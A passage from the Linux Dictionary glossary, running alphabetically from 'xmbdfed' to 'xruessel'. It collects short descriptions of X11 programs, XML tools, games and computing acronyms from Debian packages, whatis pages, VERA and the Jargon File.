X11 font editor XmBDFEditor is a Motif−based BDF font editor with the following features: o Multiple fonts can be loaded from the command line. o Multiple fonts can be open at the same time. o Cutting and pasting glyphs between fonts. o Multiple glyph bitmap editors can be open at the same time. o Cutting and pasting between glyph bitmap editors. o Automatic correction of certain metrics when a font is loaded. o Generation of XLFD font names for fonts without XLFD names. o Update an XLFD font name from the font properties. o Update the font properties from an XLFD font name. o Font property editor. o Font comment editor. o Supports unencoded glyphs (ENCODING of −1). o Display of glyph encodings in octal, decimal, or hex. o Builtin on−line help. o Imports PK/GF fonts. o Imports Linux console fonts (PSF, CP, and FNT). o Imports Sun console fonts (vfont format). o Imports fonts from the X server. o Imports Windows FON/FNT fonts. o Imports TrueType fonts and collections. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmcd

X11 based CD player Xmcd uses the Motif toolkit (using the free Lesstif libraries) to achieve a pleasing appearance, such that it actually looks and feels like a real CD player for all basic functions, yet takes advantage of the GUI and window system to make programming and CD database functions easy. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmcpustate

Displays CPU/Swap/Memory/Network load A simple program written with Motif to monitor your system activity. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmem

Visual indicator of amount of memory/swap usage The xmem program, which gives a visual representation of memory usage. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmessage

display a message or query in a window (X−based /bin/echo) From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmeter

histogram of data returned by rstat(3) xmeter displays the histograms in one window, and can be told to monitor multiple hosts or multiple statistics on one host. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XMF

eXtensible Music Format (MMA, MIDI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmgr

An XY plotting tool Xmgr is a point−and−click tool that allows the user to draw X−Y plots. Xmgr has been renamed to Grace. Unless you have old Xmgr graphs that you can't convert to the new Grace format, you should use Grace instead of Xmgr. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmh

X interface to the MH mail system xmh provides a graphical user interface to the MH (Message Handler) mail system. xmh is a very old X client and is not exactly a "living" piece of software. MH users will probably prefer the exmh package, which serves the same function and continues to be actively developed. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmhtml1

A Motif widget for display HTML 3.2 XmHTML is a high performance Motif Widget capable of displaying HTML 3.2 confirming text. Graphics support, lesstif compatibility and extensive documentation are amongst its many features. This package provides the runtime shared library. The xmhtml−dev package provides the header files, and the static library. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XMI

eXtended Memory Interconnect (DEC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XMI

XML Metadata Interchange [format] From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmille

The classic game of Mille Bourne A card game against the computer in which each player tries to reach 1000 miles. Each player tries to avoid accidents, flat tires, running out of gas, and break downs while trying to cause these same maladies in the opponent. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xminicom

See minicom. From Binh. http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmkmf

create a Makefile from an Imakefile From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XML

eXtensible Markup Language (WWW, XML) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XML

eXtensible Markup Language (XML): a powerful new web markup language (ISO approval in February 1999). It is a powerful way of separating web content and style. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XML (Extended Markup Language)

XML is an HTML−like formatting language. Misconception: The recommended advice when developing Internet protocols has been be conservative in what you send and liberal in what you receive. While in the early days this philosophy fostered interoperability, any economist could tell you the long term effect of this. It leads to a large number of slightly incompatible implementations of protocols, all of which mostly work, but none of which interopate well. For example, FTP is one of the oldest Internet protocols, and there are essentially no fully complient clients or servers, and building a fully interopable client/server is extremely difficult, requiring knowledge of all the quirks of all the popular implementations. Therefore, XML has chosen the opposite approach: compliant implementations are supposed to reject all input that isn't "well−formed", even when the intent is clear. This not only avoids interoperability errors in the long run, it also dramatically improves security by guaranteeing that there is only one way to interpret things. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XML (eXtensible Markup Language)

A powerful new markup language for designing Web pages; an alternative to the older HTML, allowing programmers to define their own markup tags, or formatting commands. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XML (eXtensible Markup Language)

A widely used system for defining data formats. XML provides a very rich system to define complex documents and data structures such as invoices, molecular data, news feeds, glossaries, inventory descriptions, real estate properties, etc. As long as a programmer has the XML definition for a collection of data (often called a "schema") then they can create a program to reliably process any data formatted according to those rules. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xml−common

The xml−common package contains a collection of entities and DTDsthat are useful for processing XML, but that do not need to be included in multiple packages. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xml−resume−library

A set of tools for writing a resume in XML The XML Resume Library is an XML and XSL based system for marking up, adding metadata to, and formatting resumes and curricula vitae. It consists of these components: * An XML Document Type Definition (DTD) for describing resumes. * Three XSL stylesheets to transform an XML resume into: * Web−ready HTML, * Print−ready PDF, or * Plain, unformatted text From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xml−rpc−api2cpp

Generate C++ wrapper classes for XML−RPC servers. A utility for generating C++ wrapper classes based on an XML−RPC API, obtained by interrogating an XML−RPC server. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xml−rpc−api2txt

Dump an XML−RPC API as a text file A utility for printing out an XML−RPC API as a text file. The API is obtained by interrogating an XML−RPC server. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xml2

Convert between XML, HTML, CSV and a line−oriented format xml2 tools are used to convert XML, HTML and CSV to and from a line−oriented format more amenable to processing by classic Unix pipeline processing tools, like grep, sed, awk, cut, shell scripts, and so forth. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmlcatalog

Command line tool to parse and manipulate XML or SGML catalog files. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmllint

command line XML tool From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmlrpc4r

XML−RPC support for Ruby XML−RPC provides remote procedure calls over HTTP with XML. It is like SOAP but much easier. For more information see the XML−RPC homepage <URL:http:// www.xmlrpc.com/>. This package provides XML−RPC support for Ruby. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmltex

TeX package for processing XML files XMLTeX is a non−validating, namespace−aware XML parser written in TeX. It allows TeX to directly process XML files. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmlto

This is a package for converting XML files to various formats using XSL stylesheets. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XMM

eXtended Memory Manager (DOS, LIM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmms

Versatile X audio player that looks like Winamp XMMS (formerly known as X11Amp) is an X/GTK+ based audio player for various audio formats. It's able to read and play: * Audio MPEG layer 1, 2, and 3 (with mpg123 plug−in), * WAV, RAW, AU (with internal wav plug−in and MikMod plug−in), * MOD, XM, S3M, and other module formats (with MikMod plug−in), * CD Audio (with CDAudio plug−in), with CDDB support, * .cin files, id Software, * Ogg Vorbis files. It has eSound, OSS, and disk writer support for outputting sound. It looks almost the same as famous Winamp, and includes those neat features like general purpose, visualization and effect plug−ins, several of which come bundled, then spectrum analyzer, oscilloscope, skins support, and of course, a playlist window. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmms

XMMS is a sound player written from scratch. Since it uses the WinAmp GUI, it can use WinAmp skins, and play mp3s, mods, s3ms, and other formats. It now has support for input, output, and general plugins, and has also been GPLd. This package also provides an effect plugin based on Sox and a shell for xmms in order to command the running xmms from any script/commandline. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XMODEM

An asynchronous file−transfer protocol for personal computers that makes the error−free transmission of files through the telephone system easier. Developed by Ward Christianson for 8−bit computers running Control Program for Microprocessors (CP/M) and placed in the public domain, the XMODEM protocol included in most personal computer communications programs is included and commonly is used to download files from bulletin boards systems (BBSs). From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmodmap

utility for modifying keymaps and pointer button mappings in X From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmon

An interactive X protocol monitor Xmon interactively monitors the byte−stream connections between an X server and a number of X clients. Xmon recognises all requests, events, errors and replies sent between the clients and the server which are part of the core X protocol. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmorph

digital image warper (x11) Xmorph loads, saves, warps, and dissolves images, and loads, saves, creates, and manipulates control meshes which determine the warping. The technique was invented and first used by Industrial Light and Magic, and is commonly called "morphing". Xmorph uses the Targa image format exclusively. Other software is needed to convert to other image formats or to movies. (Due to a bug, Xmorph's images are unreadable by John Bradley's XV.) xmorph is a GUI for libmorph, using the X Toolkit; the package also contains a text−only program called morph. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmotd

a message of the day browser for X Xmotd is a message−of−the−day browser for X11 (with additional sysvnews−like support for dumb terminals). It displays a customizable message box which displays each message−of−the−day until the user has read them all, and then creates a stamp−file. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmountains

fractal landscape generator for X Generates random fractal mountains and displays them in a window (even in the X root window). While the program is running the fractal is continuously extended on the right and the image is scrolled from right to left to expose the newly generated area. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmove

A Pseudoserver for moving programs between displays. xmove lets you change which display an X Window System program renders to − this could be a different monitor or even a different machine. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmovie

A nice player for uncompressed Quicktime, MPEG streams and more. This is xmovie, a great movie viewer and audio player with support for several formats, including MPEG−1, MPEG−2 streams, MP2/3 audio, AIFF, Quicktime, DVD's and more. It plays the following Quicktime video types: Motion JPEG A Uncompressed RGB Component video Progressive JPEG PNG YUV 4:2:0 YUV 4:2:2 It also has support for HDTV program and ATSC transport streams. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmp

A module player supporting AWE32, GUS, and software−mixing xmp is a module player for Linux/FreeBSD/Solaris. Initially designed as a XM player, today it recognizes the following module formats: xm (Fast Tracker II), mod (Noise/Fast/Protracker), s3m (Scream Tracker 3), stm (Scream Tracker 2), mtm (Multitracker), ptm (Poly Tracker), okt (Oktalyzer), far (Farandole Composer), wow (Mod's Grave), amd (Amusic Adlib Tracker), rad (Reality Adlib Tracker), 669 (Composer 669), alm (Aley's modules), mod (Soundtracker 15 instruments) From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XMP

X/open Management Protocol (X/Open, X−Windows) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmpi

A graphical user interface for MPI program development. MPI is a standard for writing parallel processing programs using a well defined Message Passing Interface. XMPI can acquire and display extensive detail on an application's MPI communication, including the following: o process synchronization status: running, system or blocked o message queue contents o source, destination, root ranks o MPI function name o communicator o data type o message count o tag The above information is acquired from on−demand snapshots of application status using debugging hooks in the MPI implementation or from a trace log of communication activity. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmpuzzles

Collection of puzzles for X with LessTif The following puzzles are included (compiled with LessTif): − Rotational 3D Puzzles: xrubik, xpyraminx, xoct, xskewb, xdino, xmball − Sliding Block Puzzles: xcubes, xtriangles, xhexagons, xpanex − Combination: xmlink xmpuzzles conflicts with xpuzzles because they both try to install the same files in app−defaults. It can be safely used with −−force−overwrite when installing over/with xpuzzles. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XMS

eXtended Memory Specification (DOS, LIM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XMS

eXtended Multiprocessor operating System (OS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XN
eXecution Node From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xnamu
cuddly teddy bear for your X Windows desktop. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xnc
X Northern Captain nc/mc−like filemanager for X Two panels show highlighted directory listings and give an easy and simple way for manipulating files on disks, inside various archives or ftp with a Virtual File System. * Builtin Rxvt terminal to run programs * Bookmarks for storing HotDirectories and quickly jumping to them * "Drag and drop" protocol for file operations * MultiWindow Viewing and Editing system with various image formats * User menus and file associations * Different panel layouts, icons * Hotkeys for all operations * Setup tool for customizing colors, your own keys, fonts and so on From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xnecview
NEC structure and gain pattern viewer xnecview allows a representation of a NEC (Numerical Electromagnetics Code) structure, such as an antenna which is to be modelled to be displayed on the screen. After an NEC run the gain pattern in various formats can also be superimposed. This can be rotated and translated for viewing from different angles. Plots of SWR and gain as a function of frequency can also be produced. In addition to on screen display, Postscript or PNG output can also be produced. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Xnest
a nested X server From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xnest
nested X server xnest an X server that is itself an X client. This allows you to run a server within a server; this is occasionally useful for testing new window managers and other X clients. Xnest relies upon its parent X server for font services. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xnetload
An Xload for network interfaces packet rates/totals. Xnetload displays a graph and/or count of incoming/outgoing packets on any network interface in /proc/net/dev. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XNS
Xerox Network Services / Systems / Standard (Xerox, XNS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XNSCP
[PPP] XNS IDP Control Protocol (RFC 1764, Xerox, XNS, PPP, XNS, IDP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XNSIDP
Xerox Network Services − Internet Datagram Protocol (Xerox, Internet, XNS), "XNS−IDP" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XNSITP
Xerox Network Services/Internet ??? Protocol (Xerox, XNS), "XNS/ITP" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xodo
an odometer tracking the distance travelled by your mouse xodometer tracks the total distance your cursor and pointing device (typically a mouse) travel. It also maintains "trip" distance since the application started or since you clicked on a trip reset button. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XOFF
/X−of/ n. Syn. control−S. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XOFF

eXchange OFF (MODEM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xoids

Asteroids game with powerups and color graphics. A clone of the classic arcade game, Asteroids. Pilot a spaceship and destroy asteroids by shooting them into smaller and smaller pieces while trying to avoid being smashed or shot by UFOs. Features power ups for your ship and two player modes − either deathmatch or co−operative where the ships are tied together with elastic! From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XON

/X−on/ n. Syn. control−Q. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XON

eXchange ON (MODEM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xon

start an X program on a remote machine From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xonix

Carve up the screen whilst dodging monsters A clone of the Xonix game for DOS: Start with a rectangle, and munch corners off until you get below the winning area: then proceed to the next level. But beware of the roaming aliens! From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xonix−jahu

Xonix clone for X11 A clone of the Xonix arcade game: Start with a rectangle, and munch corners off until you get below the winning area: then proceed to the next level. but beware of the roaming enemy balls! This version of Xonix lacks the "eater" creature that is in some versions of the game. It features a 3D look and the ability to load .gif files to be the background of the playing field. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xor

/X'or/, /kzor/ conj. Exclusive or. `A xor B' means `A or B, but not both'. "I want to get cherry pie xor a banana split." This derives from the technical use of the term as a function on truth−values that is true if exactly one of its two arguments is true. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xor (exclusive−or)

In computer science, an XOR is a mathematical operation that combines two bits. The resulting value is TRUE if either of the two bits is TRUE, but false if both are equal. In cryptography, one generally talks about doing an XOR combining two strings of bits: plaintext 11100101 01110101key 00001111 00001111 −−−−−−−−−−−−−−−−−−ciphertext 11101010 01111010XOR has the interesting property that XORing by the same pattern twice results in the original pattern: ciphertext 11101010 01111010key 00001111 00001111 −−−−−−−−−−−−−−−−−−plaintext 11100101 01110101Therefore, you can think of XOR as an extremely weak encryption algorithm. The above example shows using XOR as a way of encrypting the original data with the 8−bit key of "00001111". Many products use this technique to obfuscate data. However, it is extremely easy to recover the original key via a known plaintext attack, as show below: ciphertext 11101010 01111010plaintext 11100101 01110101 −−−−−−−−−−−−−−−−−−key 00001111 00001111Key point: XOR is a common mathematical operation used in cryptographic algorithms. In fact, the only 100% secure form of encryption is XORing against a one−time pad. Also, any hash algorithm can be converted into an encryption algorithm though a clever use of XOR. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xorca

cuddly teddy bear for your X Windows desktop. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xosd−bin
: X On−Screen Display library − binary files This package contains binary files shipped with the X OSD library: osd_cat − a 'cat' like program which will display its output in an OSD−like window More info can be found on http://www.ignavus.net/software.html From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xosview
: X based system monitor Xosview is a monitor which displays the status of several system based parameters. These include CPU usage, load average, memory usage, swap space usage, network usage, interrupts, and serial port status. Appearance is fully configurable via command line or X resources. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XOT
: X.25 Over TCP (Cisco, X.25, TCP, RFC 1613) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xotcl
: An object oriented extension for Tcl XOTcl (Extended Object Tcl) is an object−oriented extension which allows read/write introspection of all aspects of the object system, including class/superclass/object relationships. It allows for the use of meta−classes, multiple inheritance as well as other advanced features: − Dynamic Object Aggregations. − Assertions. − Meta−data, to enhance self−documentation of objects and classes. − Per−object mixins, gives objects access to several dynamically defined supplemental classes. − Per−class mixins. − Filters as a means of abstractions over method invocations to implement large program structures, like design patterns. − Dynamic Component Loading XOTcl integrates the Tcl package loading with architectural support for integration with object−oriented constructs. For more information: http://www.xotcl.org/ From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XP
: eXtreme Programming From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xpaint
: reasonably versatile X−based image editing tool In addition to the traditional X bitmap and X pixmap image file formats, xpaint also supports JPEGs and PNGs. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xpaint
: Simple Paint program From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xpaste
: A program to display the contents of the primary paste buffer. Xpaste will create a window containing the current contents of the primary selection buffer. The size of this window is dictated by the length of the longest line in the selection, the number of lines in the selection, and the size of the current font. Variable−width fonts are supported. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xpat2
: Generic patience game for X11 xpat2 is a generic patience game which can be used with different rule sets. It does understand the rules of the well−known Spider game, as well as Klondike and others. This program may have difficulties to start if you have an 8−bit or monochrome display. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XPC
: X Performance Characterization [group] (GPC, X−Windows) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xpcd
: PhotoCD tool collection: Base This is a PhotoCD tool collection. This packages core application is a command line tool which can read so−called PhotoCD (*.pcd) images and convert them to PPM or JPEG (pcdtoppm). Also included is a PhotoCD viewing frontend for X (xpcd). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xpdf

Portable Document Format (PDF) suite xpdf is a suite of tools for Portable Document Format (PDF) files. (These are sometimes called 'Acrobat' files after the name of Adobe's PDF software.) The tools include xpdf, a PDF viewer (in the package xpdf−reader), and PDF converters (including to/from PostScript) (in the package xpdf−utils). This package is intended for compatibility with previous versions of this package only. You can safely remove it from your system. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xpdq

Graphical user interface for the pdq printing system This application allows users and administrators to configure printing and view print jobs for the pdq printing system. Home Page: http://pdq.sourceforge.net/ From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xpenguin

cuddly teddy bear for your X Windows desktop. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xpenguins

little penguins walk on your windows Ever wanted cute little penguins walking along the tops of your windows? Ever wanted to send an army of cute little penguins to invade the screen of someone else on your network? Probably not, but why not try this program out anyway, it's cool! From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XPFE (Cross Platform Front End)

A suite of technologies used to create applications that will work and look the same on different computer operating systems. A widely used XPFE application is the Netscape web browser in version 7 and later. The primary technologies used in creating XPFE applications are Javascript, Cascading Style Sheets, and XUL. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XPG

X/open Portability Guide (X/Open, X−Windows) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XPGR3

X/open Portability Guide Release 3 (X/Open, X−Windows) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xphoon

sets the root window to a picture of the moon xphoon sets the X root window to a picture of the moon in its current phase, including the partial lighting of the dark side by reflected earthlight. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xpilot

Multi−player tactical game for X XPilot is a multi−player tactical manoeuvring game for X. Each player controls their own fighter equipped with a variety of weapons and power−ups. Players compete as teams or as individuals; the object of the game is to score points by blasting the opposition, stealing their treasure or by racing round a circuit. WARNING: This game is very addictive. This package has been split into xpilot−client−common, xpilot−client−nosound, xpilot−client−nas, xpilot−client−rplay and xpilot−server. There is an additional package (xpilot−extra) containing various free maps and sounds as well as a useful utility program to interrogate the metaserver. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xplanet

render an image of a planet into an X window From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xplanet

render images of the earth xplanet is similar to xearth, where an image of the earth is rendered into the X root window. Various projection systems are available for display. The user can also popup a window with a globe that can be rotated interactively. From Debian 3.0r0 APT

http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xplanetbg
: render an image of a planet into an X window From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xpm2wico
: an xpm to windows .ico converter I have written this program primarily to help free software programmers like me to not depend on evil proprietary programs to write Windows icons. It currently supports icons with 256 colors or more and well as grayscale images. Later I will probably add support for multiple−icons file output. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xpm4.7
: the X PixMap library, compiled with libc5 XPM (X PixMap) is a format for storing and retrieving pixmaps to and from files. This package includes a runtime library for including, storing, reading and writing the XPM format. This package contains the libc5 shared library, only for backwards compatibility with older programs. Building programs to depend on this version of the library is deprecated, and no longer supported; thus the corresponding xpm4−altdev package no longer exists. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xpostit
: simple postit program on X with I18N support XPostIt allows you to create small notes to yourself in windows on the screen, and save them in disk files. I18N patch for X11R6 has been applied. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XPP
: eXtrem Processor Platform (MPP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xpp
: X Printing Panel Graphical substitute for the lp/lpr command. With xpp, you can control every printing option known to the CUPS print system (the cupsys package). Best results are available with usage of the appropriate PPD file for your printer. Each user can save their own customized printing preferences. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xprobe
: Remote OS identification using ICMP packets Xprobe allows you to determine what operating system is running on a remote host. It sends several packets to a host and analyses the returned ICMP packets. The tool automates a logic of OS fingerprinting methods called "X". Xprobe's functionality is comparable to the OS fingerprinting feature in nmap, but has several advantages over it: − Faster: A maximum of 4 packets are sent to determine the remote OS. − Can detect whether the host is up, so pinging is no longer necessary. − Stealthier: Does not send any malformed datagrams. − Can distinguish between many variants of Microsoft operating systems. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xprop
: property displayer for X From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xprt
: X print server xprt provides an X server with the print extension and special DDX (Device−Dependent X) implementation. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XPS
: eXPert System (AI, XPS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XPS
: eXtended Parallel Server (DB, Informix) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XPSB

X − Protocol Stream Benchmark (XPC, X−Windows) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xpuyopuyo
A puzzle game similar to tetris, played with colored blobs Xpuyopuyo is a Tetris−like puzzle game where you strive to match up four "blobs" of the same color. Each match gives you points, and also dumps gray rocks on your opponent which are irritating and troublesome to get rid of. Multiple matches at one time score more points, and result in more rocks being dumped on the opponent (much to their dismay). First person to fill up their screen with puyopuyo blobs loses. Supports solitaire, human−vs−AI, human−vs−human, and AI−vs−AI modes, and network play. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xpuzzles
Collection of puzzles for X The following puzzles are included: − Rotational 3D Puzzles: xrubik, xpyraminx, xoct, xskewb, xdino, xmball − Sliding Block Puzzles: xcubes, xtriangles, xhexagons, xpanex − Combination: xmlink xpuzzles conflicts with xmpuzzles because they both try to install the same files in app−defaults. It can be safely used with −−force−overwrite when installing over/with xmpuzzles. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xpvm
graphical console and monitor for PVM XPVM is a graphical console and monitor for PVM. It provides a graphical interface to the PVM console commands and information, along with several animated views to monitor the execution of PVM programs. These views provide information about the interactions among tasks in a parallel PVM program, to assist in debugging and performance tuning. For specifics on the various features of XPVM, and how to operate them, please refer to the appropriate on−line pop−up help information. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xpw
the Pathetic Writer word−processor The word−processor part of the Siag Office suite, which also contains SIAG and EGON. Siag Office uses the Offix DND Drag−and−Drop protocol. A WWW browser is needed to read online doc. A postscript viewer is used for document preview. It can read and write RTF and HTML files for inter−operation with other well−known word−processors. It should read also .doc files with help from catdoc. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xqf
X−based Quake Server Browser XQF is a Gtk+ frontend for Qstat, a tool for querying first−person action game servers like Quake, Unreal Tournament, etc. It displays information about the servers and allows configuring and launching some of the games from it. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xracer
A free Wipeout clone for Unix and X. Xracer is a Wipeout clone, distributed under the GPL. It should be able to use any OpenGL 1.1 compliant library. A 3D accelerator card is required. This is the game data and binary. If you want to build new tracks or other game data, you may also want to install the xracer−tools package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xracer−tools
A free Wipeout clone for Unix and X. Xracer is a Wipeout clone, distributed under the GPL. It should be able to use any OpenGL 1.1 compliant library. A 3D accelerator card is required. These are a few tools to design your own game data. In order to play the game, you will need the xracer package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xrdb
X server resource database utility From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xref

/X'ref/ v.,n. Hackish standard abbreviation for `cross−reference'. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xrefresh

refresh all or part of an X screen From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xringd

Extended Ring Daemon − Monitor phone rings and take action. xringd will monitor a serial line for RING signals and activate various commands when specific "ring−delay sequences" are detected. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XRIP

eXtended ??? Routing Information Protocol (Novell, Netware) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xrn

X−based NNTP news reader. XRN is a Usenet News reader for the X window system. It requires an NNTP server to talk to (i.e., it cannot read news from local disk files), and the NNTP server must support the XHDR command (most servers nowadays do; if yours doesn't, XRN will complain when you try to run it). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xroach

infests X with disgusting cockroaches Xroach displays disgusting cockroaches on your root window. These creepy crawlies scamper around until they find a window to hide under. Whenever you move or iconify a window, the exposed orthoptera again scamper for cover. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xrootconsole

Fancy X console display Xrootconsole redirects its input to a transparent (and optionally shaded) window on the root window. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XRT

eXtensions for Real−Time market data (API, MS, Windows) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xruessel

